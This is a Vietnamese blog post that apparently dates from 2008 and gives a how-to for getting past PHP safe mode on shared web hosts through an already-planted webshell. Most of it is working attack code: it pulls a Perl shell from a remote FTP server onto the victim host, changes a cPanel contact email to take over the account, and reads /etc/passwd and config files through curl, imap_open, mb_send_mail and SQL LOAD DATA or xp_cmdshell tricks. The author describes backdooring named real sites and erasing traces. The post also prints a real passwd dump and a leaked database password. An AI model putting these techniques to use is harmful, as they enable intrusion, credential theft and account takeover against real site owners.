Jun 10, 2008
119 Views

1 số cách bypass safemode

Written by

1.bypass Safe-Mode qua cgitelnet.pl

giả dụ bật Safe-Mode, dis khá nhiều các hàm quan trọng

show_source, dl, exec, shell_exec, system, popen, pclose, proc_open, proc_close, passthru, virtual, leak, chgrp, ini_alter, ini_restore

Command lệnh của con shell vì thế ko hiện đc luôn

Nhưng nhìn kĩ lại ta thấy uid=betalocal , vậy thì mặc cha nó ta có quyền owner của site này roài

Ta đã biết Safe-Mode bật và disable hết các hàm PHP chạy shell của ta, nhưng với các Script khác thì nó vô dụng

Vì thế tôi sẽ get 1 con shell dùng perl script lên server này , con mà anh em hay dùng là cgitelnet.pl (ngoài ra nghe nói còn có con shell “.cgi” nữa , chắc dùng vào đây cũng đc anh em ai có thì share nhé) ý tưởng là như vậy

+Đầu tiên tạo 1 thư mục riêng để làm việc cho sướng, mặc dù Safemode On nhưng các hàm bình thường của PHP vẫn chạy đc như thường (nếu nó dis hết thì có mà bán Host cho ma nó mua )

Trên con r57 ta gõ vào ô Eval PHP code :

mkdir(“./new”, 0755);

ấn Excute , sau đó quay trở lại ta đã thấy trong thư mục /home/betalocal/public_html/modules/Forums/admin/ đã xuất hiện thêm 1 thư mục con “new” nữa với chmod là 755 roài (thư mục admin chmod thế nào cũng ko quan trọng vì mình đã có quyền owner của nó rồi)
Chuyển đến thư mục /home/betalocal/public_html/modules/Forums/admin/new để làm việc , Oke !

Tiếp theo là công đoạn Get con cgitelnet.pl lên Host, vào phần “Download files from remote ftp-server” trên con r57 ta điền vào thông tin của Host FTP có chứa con cgitelnet của ta

FTP-server: netfast.org
Login: micimacko
Password: 123456
File on ftp: /wwwroot/cgitelnet.pl
Local file: /home/betalocal/public_html/modules/Forums/admin/new
Transfer mode: ASCII

rồi ấn Download để Transfer nó về Host

Quay lại thư mục new ta thấy có con cgitelnet.pl rồi , nó đang mặc định chmod là 644
Ta phải chmod lại cho nó thành 755, chạy PHPcode như sau:

chmod(“./cgitelnet.pl”,0755);

Okies , đã xong !

Giờ ta vào Link hxxp://betalocal.root/modules/Forums/admin/new/cgitelnet.pl đã thấy màn hình đen đen bí hiểm của con cgitelnet hehe, như vậy là ta đã có 1 command shell trên sv với uid=betalocal , bất chấp sv đang bật Safe-Mode

++Lưu ý: con cgitelnet.pl chỉ chạy đc với các đk sau:
-Get về Host với dạng ASCII
-chmod 755, thư mục chứa nó cũng phải có chmod 755 (thường ng ta Get về cgi-bin, nhưng thực ra ở đâu có 755 là đc)
-có 2 cái quan trọng nhất nữa là : uid=owner & sv hỗ trợ Perl

++Với con cgitelnet này có thể change File .contactemail để forgot pass lấy cPanel hay là cat /etc/passwd để xem File passwd

cat > .contactemail
[email protected]
EOF

hay tạo 1 File email.txt rồi
rm -rf .contactemail
mv email.txt .contactemail

cat > .contactemail [email protected] chỉ thực hiện khi đã connect vào server, do đó câu lệnh này ko thực hiện được trên webshell

echo [email protected] > .contactemail

Còn echo [email protected] > .contactemail thì có thể dùng trực tiếp với webshel

2.curl, fopen

chúng ta thường local shell qua server cần attack thì chúng ta dùng lệnh cp [path host1 ] [host2] cp = copy , đơn giản là chúng ta copy cái file shell ở host1 qua host 2 giống như chúng ta dùng lệnh copy 1 tập tin từ hda qua hdb .
còn về Chmod là các phân quyền trong hệ điều hành của máy server, trong linux thì permision sẽ được chia làm nhiều cấp bậc , cao nhất là root , đến owner group , và cuối cùng là đến Other , thường thì nếu các server Chmod kỹ sẽ không cho Other được bất cứ quyền gì.Gowner Group sẽ có được một số quyền hạn giống như root ở một số tập tin, còn Root (gốc rễ, ông vua) là người có toàn quyền trên server.
Và từ đó chúng ta có thể định hình được Chmod chỉ đơn giản là các quyền cho phép đối với người dùng.
Chmod được chia ra làm 4 chế độ:
1. r (read) :Quyền đọc , người được quyền này sẽ đọc được các tập tin nhưng không được viết (sửa đổi ), hoặc thực thi.
2. w (write ) : quyền viết , người có quyền này sẽ có thể sửa đổi các tập tin.
3.x (execute): quyền thực thi.
4. và cuối cùng là _ : tức là không có quyền gì cả = Null
vd : _rwxrwxrwx index.php
tức là tất cả mọi người dùng đều có toàn quyền trên file index.php
_rwxr_xr__ index.php
Chỉ có root (owner) mới được toàn quyền , Owner Group được quyền đọc và thực thi nhưng không được quyền ghi, Other được quyền đọc và thực thi nhưng không được quyền ghi
Nhưng để tiện hơn trong việc phân quyền thì người ta gán cho chúng những con số .
r = 4
w = 2
x = 1
như vậy nếu 1 file được chmod 755 tức file đó sẽ tương đương _rwxr_xr_x

_cách bypass bằng mysql chỉ dùng với user nobody , vì với các user bt thì thường mysql nó phân quyền ko truy cập File qua lẫn nhau đc

_khi sv bật cURL On : ta có thể Eval đoạn php code sau để view File , vd:

$ch = curl_init (” file:///home/user/public_html/config.php\x00/../../../../../../../../../../../../”.__FILE__) ;
curl_exec($ch);
var_dump(curl_exec($ch));

$ch = curl_init(“file:///etc/passwd\x00”.__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));

-ko Dis fopen

$fd = fopen (“/home/user/public_html/config.php”, “r”);
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);

copy(“compress.zlib:///etc/passwd”, “/home/user/public_html/somePATH/writeableFOLDER/passwd.txt”);

quy định đuờng dẫn save file passwd mà ta có quyền ghi

_dùng hàm gzfile, readgzfile, gzopen nữa, chức năng nó tương tự như các hàm file, readfile, fopen

_Nếu gặp trường hợp SV bật Safe-Mode và có thể là Disable một số hàm quan trọng:
Xem xét lại nếu SV cho phép upload hoặc tạo thư mục mới hay ko( chú í tới uid nếu uid=owner thì ổn cả).
Tạo 1 thư mục mới và chmod cho nó là 775( dùng để up con cgitenet.pl).Đây là con shell dùng perll script nên dù Safe-Mode hay dis các hàm php thì cũng không ảnh hưởng gì tới các chức năng script của con perl này.
Up con cgitenet.pl này lên host của victim ( nên dùng shell là r57 ) .Trong phần Download files from remote ftp-server của con r57 điền thông tin con cgitenet.pl trên host của ta vào( host chứa perl shell của mình phải hỗ trợ upload qua FTP )
FTP-server:
Login:
Password:
File on ftp:
Local file:
Transfer mode: ASCII

Chú ý : riêng con perl shell này thì Get về host victim phải chọn chế độ ASCII
chmod lại cho cgitenet.pl lại thành 775.
Sau đó chạy shell cgitenet.pl trên SV của victim là ổn .

3.bypass safemode restrictions [PHP]

phần 1 – imap_open
hôm nay ngồi check dancevn.com nó ko activate acc của mình thế là quay ra local thử .
tạch tạch tạch…
Trích:
http://whois.sc/dancevn.com

Reverse IP: 68 other sites hosted on this server

click vô coi có cái gì hay
bug IPB chắc còn nh` site dính nên rek chọn huongxua.com
sau 5′ ta có backdoor qua bug search.php, up thêm 1 phát vào /uploads/rek.php
xóa dấu vết… completed ^__^
tiếp tục coi con server này

uname -a : Linux host.vietnamnetweb.com 2.6.8-022stab070.4-enterprise #1 SMP Mon Mar 6 15:28:36 MSK 2006 i686
Server : Apache/1.3.34 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.2 FrontPage
id : user=nobody uid=99 gid=99
pwd : /home/huongxua/public_html/uploads ( drwxrwxrwx )

safe_mode: ON PHP version: 4.4.2 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions : show_sourccapeshellcmd,chgrp,ini_alter,pcntl_exec, leak,exec,dl,shell_exec,system,popen,pclose,proc_o pen,proc_close,passthru,virtual,set_time_limit
HDD Free : 4.27 GB HDD Total : 10 GB

chà nó disable hết ráo… kernel 2.6.8 mà 2006 thí chắc fix bug rồi.

tìm cách bypass safemode để local vậy.
nhìn vào con r57 với safemode on mới thấy nó hiện ra nh` functions hay ho
rek đã thực hiện thành công qua bug imap functions bypass safemode
vào box eval(); của r57

$rek = @imap_open(“/etc/passwd”, “”, “”);
$result = @imap_body($rek, 1);
echo $result;
@imap_close($rek);

–> dính bug rồi

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
cpanel:x:32001:32001::/usr/local/cpanel:/bin/bash
mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/bash
clamav:x:32003:32003::/usr/local/clamav:/bin/false
baclieu:x:32013:32013::/home/baclieu:/usr/local/cpanel/bin/noshell
bacvie2:x:32014:32014::/home/bacvie2:/bin/false
bacvietl:x:32015:32015::/home/bacvietl:/bin/false
bamboo:x:32016:32016::/home/bamboo:/usr/local/cpanel/bin/noshell
beetlevn:x:32019:32019::/home/beetlevn:/usr/local/cpanel/bin/noshell
bemimi:x:32020:32020::/home/bemimi:/usr/local/cpanel/bin/noshell
card4gam:x:32027:32027::/home/card4gam:/usr/local/cpanel/bin/noshell
chifash:x:32029:32029::/home/chifash:/usr/local/cpanel/bin/noshell
client44:x:32031:32031::/home/client44:/usr/local/cpanel/bin/noshell
ctnnambo:x:32034:32034::/home/ctnnambo:/usr/local/cpanel/bin/noshell
ctyvhdoa:x:32035:32035::/home/ctyvhdoa:/usr/local/cpanel/bin/noshell
dacloc:x:32038:32038::/home/dacloc:/usr/local/cpanel/bin/noshell
dahuco:x:32041:32041::/home/dahuco:/usr/local/cpanel/bin/noshell
dancevn:x:32044:32044::/home/dancevn:/usr/local/cpanel/bin/noshell
dbvncom:x:32046:32046::/home/dbvncom:/usr/local/cpanel/bin/noshell
dtlan:x:32057:32057::/home/dtlan:/usr/local/cpanel/bin/noshell
ecombeta:x:32058:32058::/home/ecombeta:/usr/local/cpanel/bin/noshell
fontviet:x:32060:32060::/home/fontviet:/usr/local/cpanel/bin/noshell
gamervie:x:32063:32063::/home/gamervie:/usr/local/cpanel/bin/noshell
hmchanh:x:32066:32066::/home/hmchanh:/usr/local/cpanel/bin/noshell
host4vn:x:32069:32069::/home/host4vn:/usr/local/cpanel/bin/noshell
huongxua:x:32071:32071::/home/huongxua:/usr/local/cpanel/bin/noshell
hvuong:x:32072:32072::/home/hvuong:/usr/local/cpanel/bin/noshell
i3dvrco:x:32073:32073::/home/i3dvrco:/usr/local/cpanel/bin/noshell
internet:x:32075:32075::/home/internet:/usr/local/cpanel/bin/noshell
jasmine:x:32076:32076::/home/jasmine:/usr/local/cpanel/bin/noshell
kanvn:x:32079:32079::/home/kanvn:/usr/local/cpanel/bin/noshell
lotussol:x:32089:32089::/home/lotussol:/usr/local/cpanel/bin/noshell
minhtrung:x:32096:32096::/home/minhtrung:/usr/local/cpanel/bin/noshell
ngayvui:x:32101:32101::/home/ngayvui:/usr/local/cpanel/bin/noshell
nhmobile:x:32105:32105::/home/nhmobile:/usr/local/cpanel/bin/noshell
nhumanh:x:32106:32106::/home/nhumanh:/usr/local/cpanel/bin/noshell
onebitso:x:32109:32109::/home/onebitso:/usr/local/cpanel/bin/noshell
phodiaoc:x:32112:32112::/home/phodiaoc:/usr/local/cpanel/bin/noshell
qmcitvn:x:32115:32115::/home/qmcitvn:/usr/local/cpanel/bin/noshell
saigons:x:32117:32117::/home/saigons:/usr/local/cpanel/bin/noshell
scooter:x:32119:32119::/home/scooter:/usr/local/cpanel/bin/noshell
sweetlov:x:32131:32131::/home/sweetlov:/bin/bash
teenager:x:32134:32134::/home/teenager:/usr/local/cpanel/bin/noshell
thanhnie:x:32137:32137::/home/thanhnie:/usr/local/cpanel/bin/noshell
tmnet:x:32143:32143::/home/tmnet:/usr/local/cpanel/bin/noshell
tmsnet:x:32144:32144::/home/tmsnet:/usr/local/cpanel/bin/noshell
trituec:x:32150:32150::/home/trituec:/usr/local/cpanel/bin/noshell
trituetr:x:32151:32151::/home/trituetr:/usr/local/cpanel/bin/noshell
vietcao:x:32157:32157::/home/vietcao:/usr/local/cpanel/bin/noshell
vietchan:x:32158:32158::/home/vietchan:/usr/local/cpanel/bin/noshell
vietnama:x:32161:32161::/home/vietnama:/usr/local/cpanel/bin/noshell
vietnamc:x:32162:32162::/home/vietnamc:/usr/local/cpanel/bin/noshell
vietpoin:x:32165:32165::/home/vietpoin:/usr/local/cpanel/bin/noshell
vietxuan:x:32167:32167::/home/vietxuan:/usr/local/cpanel/bin/noshell
vuinet:x:32169:32169::/home/vuinet:/bin/false
xuanhong2:x:32173:32173::/home/xuanhong2:/usr/local/cpanel/bin/noshell
beta:x:32176:32176::/home/beta:/usr/local/cpanel/bin/noshell
otonhapk:x:32177:32177::/home/otonhapk:/usr/local/cpanel/bin/noshell
xehoisec:x:32178:32178::/home/xehoisec:/usr/local/cpanel/bin/noshell
autonhap:x:32179:32179::/home/autonhap:/usr/local/cpanel/bin/noshell
xehoima:x:32180:32180::/home/xehoima:/usr/local/cpanel/bin/noshell
dosaigon:x:32188:32188::/home/dosaigon:/usr/local/cpanel/bin/noshell
trandich:x:32190:32190::/home/trandich:/usr/local/cpanel/bin/noshell
thuongqu:x:32193:32193::/home/thuongqu:/usr/local/cpanel/bin/noshell
saigonse:x:32194:32194::/home/saigonse:/usr/local/cpanel/bin/noshell
thucong:x:32196:32196::/home/thucong:/usr/local/cpanel/bin/noshell
kan:x:32197:32197::/home/kan:/usr/local/cpanel/bin/noshell
binhthua:x:32198:32198::/home/binhthua:/bin/false
netviets:x:32200:32200::/home/netviets:/usr/local/cpanel/bin/noshell

$dir = “/home/dancevn/public_html/rum”;
$rek = @imap_open(‘/etc/passwd’, “”, “”);
$dirlist = @imap_list($rek, trim($dir), “*”);
for ($i = 0; $i < count($dir_list); $i++) echo $dirlist[$i].”\r\n”;
@imap_close($rek);

ko list đc hết rồi, thôi cứ test tiếp coi

$rek = @imap_open(“/home/dancevn/public_html/rum/conf_global.php”, “”, “”);
$result = @imap_body($rek, 1);
echo $result;
@imap_close($rek);

hehe đến đây là xong rồi, nhiệm vụ hoàn thành:

$INFO[‘sql_driver’] = ‘mysql’;
$INFO[‘sql_host’] = ‘localhost’;
$INFO[‘sql_database’] = ‘dancevn_rum’;
$INFO[‘sql_user’] = ‘dancevn_dancevn’;
$INFO[‘sql_pass’] = ‘Youandme’;
$INFO[‘sql_tbl_prefix’] = ‘ibf_’;

phần 2 – mb_send_mail, readfile, include

bug mb_send_mail
exploit với code sau:

$rek= “hehehehe”;
if (file_exists($rek)) unlink($rek);
$file = “/etc/passwd”;
$xploit = “-C “.$file.” -X “.getcwd().”/”.$rek;
mb_send_mail(NULL, NULL, NULL, NULL, $xploit);
echo “<pre>”.file_get_contents($file).”</pre>”;

readfile thì chắc mọi người cung biết rồi

readfile(“/etc/passwd”);

và include

@include(“/etc/passwd”);

SAFEMODE disable các functions sau:

dbmopen()
dbase_open()
filepro()
filepro_rowcount()
filepro_retrieve()
ifx_*()
ingres_*()
mysql_*()
pg_loimport()
posix_mkfifo()
putenv()
move_uploaded_file()
chdir()
dl()
shell_exec()
exec()
system()
passthru()
popen()
mkdir()
rmdir()
rename()
unlink()
copy()
chgrp()
chown()
chmod()
touch()
symlink()
link()
getallheaders()
header()
PHP_AUTH variables
highlight_file()
Show_source()
parse_ini_file()
set_time_limit()
max_execution_time

phần 3 – sql
cat file qua mysql

$port = “3306”;
$user = “root”;
$pass = “”;
$database = “test”;
$file = “/etc/passwd”;
$db = @mysql_connect(‘localhost:’.$port,$user,$pass);
$sql = “DROP TABLE IF EXISTS temp_vniss_test;”;
@mysql_query($sql);
$sql = “CREATE TABLE `temp_vniss_test` ( `file` LONGBLOB NOT NULL );”;
@mysql_query($sql);
$sql = “LOAD DATA INFILE \””.$file.”\” INTO TABLE temp_vniss_test;”;
@mysql_query($sql);
$sql = “SELECT * FROM temp_vniss_test;”;
$r = @mysql_query($sql);
while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
$sql = “DROP TABLE IF EXISTS temp_vniss_test;”;
@mysql_query($sql);
@mysql_close($db);

tương tự với mssql

$port = “1433”;
$user = “root”;
$pass = “”;
$database = “test”;
$file = “/etc/passwd”;

$db = @mssql_connect(‘localhost,’.$port,$user,$pass);
@mssql_query(“drop table temp_vniss_test”,$db);
@mssql_query(“create table temp_vniss_test ( string VARCHAR (500) NULL)”,$db);
@mssql_query(“insert into temp_vniss_test EXEC master.dbo.xp_cmdshell ‘”.$file.”‘”,$db);
$res = mssql_query(“select * from temp_vniss_test”,$db);
while(([email protected]_fetch_row($res)))
{
echo $row[0].”\r\n”;
}
@mssql_query(“drop table temp_vniss_test”,$db);
@mssql_close($db);

phần 4 – những gì lặt vặt còn xót lại
nếu server turn on curl hãy thử:

$file = “/etc/passwd”;
$c1 = @curl_init(“file://”.$file.””);
$c2 = @curl_exec($ci);
echo $c2;

nếu có quyền upload cgi-bin, sao ko chơi con .cgi lên

4.bypassing via mysql hole

Tình trạng:
– safe-mode :on
– 1.4 PHP 4.4.7 ( có thể dùng với 5.2.3 )
– không safe mode bypass /etc/passwd được
– đã view dc file config biết dc SQL

Sau đây là tiến trình bypass
Ở đây Night sử dụng con c99 , ( con này của Night tự edit nên có 1 số chức năng khác :) …
bắt đầu nào
Trên thanh công cụ của con c99, các bạn ấn vào SQL, login vào nhá
sau đó query nào ( đừng bảo ko thấy nút query đâu nhá ) Night óanh đó

CREAT TABLE [dbname].[table] (a varchar(1024))

ex:

CREAT TABLE no1relax_no1.deface (a varchar(1024))

với no1relax_no1 là tên của database deface là tên table cần tạo
ai ko hiểu nữa thì ^:)^

lại vào table vừa tạo query phát nữa

LOAD DATA LOCAL INFILE ‘[file path]’ INTO TABLE [dbname].[table]

ex

LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE no1relax_no1.deface

Run nó nào :-p
xong roài
giờ view cái table đó xem kết quả nào

Article Tags:
· · · · · · ·
Article Categories:
Bug & Security
    http://linholiver.com

    https://linholiver.com/diary/about/